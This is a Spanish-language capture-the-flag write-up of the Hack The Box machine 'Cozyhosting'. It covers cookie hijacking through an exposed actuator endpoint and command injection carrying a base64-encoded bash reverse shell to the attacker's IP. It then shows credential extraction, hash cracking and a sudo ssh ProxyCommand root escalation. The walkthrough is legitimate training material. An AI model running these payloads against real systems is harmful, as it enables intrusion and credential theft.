Cozyhosting - WriteUp
🎯 Machine Info
Máquina Linux
NMAP
1
2
3
4
5
6
7
8
9
10
11
12
13
# Nmap 7.94SVN scan initiated Sat Nov 25 12:02:40 2023 as: nmap -sCV -p 22,80 --stylesheet=https://raw.githubusercontent.com/honze-net/nmap-bootstrap-xsl/stable/nmap-bootstrap.xsl -oN targeted -oX targetedXML 10.129.234.48
Nmap scan report for 10.129.234.48
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 43:56:bc:a7:f2:ec:46:dd:c1:0f:83:30:4c:2c:aa:a8 (ECDSA)
|_ 256 6f:7a:6c:3f:a6:8d:e2:75:95:d4:7b:71:ac:4f:7e:42 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://cozyhosting.htb
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Virtual Hosting a puntando a “cozyhosting.htb”, actualizamos archivo hosts y seguimos…
HTTP
Login en http://cozyhosting.htb/login
FUZZING
1
$ wfuzz -c -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --hc 404 --hh 12706 -t 500 http://cozyhosting.htb/FUZZ
1
$ dirsearch -u http://cozyhosting.htb
Encuentra lago interesante, vamos a ver qué es:
Entramos en http://cozyhosting.htb/actuator/sessions para echar un vistazo y vemos esto:
Vamos a capturar el login con BurpSuite y usar la cookie del usuario kanderson
O también podemos usarla desde el navegador Firefox:
La cambiamos por la que acabamos de descubrir, pulsamos intro, refrescamos al página y para adentro!
Nos fijamos en la parte baja de la página donde dice esto.
Vamos a capturar la peticiĂłn de nuevo con BurpSuite
Vemos algo interesante en la respuesta, necesitamos saber cómo enviarle un comando de consola remota que ejecutará con “/bin/bash/ -c”
Nos ponemos en escucha para las pruebas:
1
$ nc -nlvp 9001
Y ahora vamos a probar payloads de diferentes formas hasta que demos con la tecla…
Después de hacer varias pruebas y consultar varias webs, encontramos el payload correcto que pondremos en el campo username:
1
;echo${IFS%??}"<payload>"${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
Codificaremos la parte de ejecuciĂłn de comando con base64 que será la parte del comando de siempre que nos envĂa la shel remota:
1
2
$ echo -n "bash -i >& /dev/tcp/10.10.16.25/9001 0>&1" | base64
YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA+JjE=
Una vez tenemos las dos partes las juntamos en una Ăşnica lĂnea y la pegamos en BurpSuite:
1
username=;echo${IFS%??}"YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA+JjE="${IFS%??}|${IFS%??}base64${IFS%??}-d${IFS%??}|${IFS%??}bash;
Ahora seleccionamos toda la lĂnea del payload, botĂłn secundario del ratĂłn Convert selection > URL > URL-encode key characters.
Quedando asĂ:
%3becho${IFS%25%3f%3f}"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xMC4xMC4xNi4yNS85MDAxIDA%2bJjE%3d"${IFS%25%3f%3f}|${IFS%25%3f%3f}base64${IFS%25%3f%3f}-d${IFS%25%3f%3f}|${IFS%25%3f%3f}bash%3b
Le damos a “Send”
Estamos dentro, sanitizamos terminal y continuamos.
Usuarios:
Vemos un archivo nada más entrar que nos llama la atención. Como tenemos python en la máquina, levantaremos un servidor HTTP para servir el archivo y traerlo a nuestra máquina:
1
$ wget 10.129.234.48:4444/cloudhosting-0.0.1.jar
Vamos a abrir el archivo .jar con jd-gui para ver qué contiene.
Encontramos unas credenciales para el servidor postgres
1
postgres:Vg&nvzAQ7XxR
Conectamos con las credenciales obtenidas:
1
$ psql -h 127.0.0.1 -U postgres
Tenemos dos hashes. Nos lo copiamos y llamamos a nuestro amigo John de confianza…
1
$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Encontramos las credenciales para el usuario admin
1
admin:manchesterunited
Con las credenciales que tenemos vamos a intentar validarlas contra el otro usuario que encontramos, josh:
Y funciona!
Registramos primera bandera y seguimos…
Al poner “sudo -l” vemos esto:
Puede ejecutar con permisos de root sudo. Buscamos en GTFObins https://gtfobins.github.io/gtfobins/ssh/#sudo
Escribimos el comando que nos dĂce la página y escalamos a root fácilmente.
1
$ sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
Ăšltima actualizaciĂłn: 2024-09-20
Autor: A. Lorente
Licencia: Creative Commons BY-NC-SA 4.0






















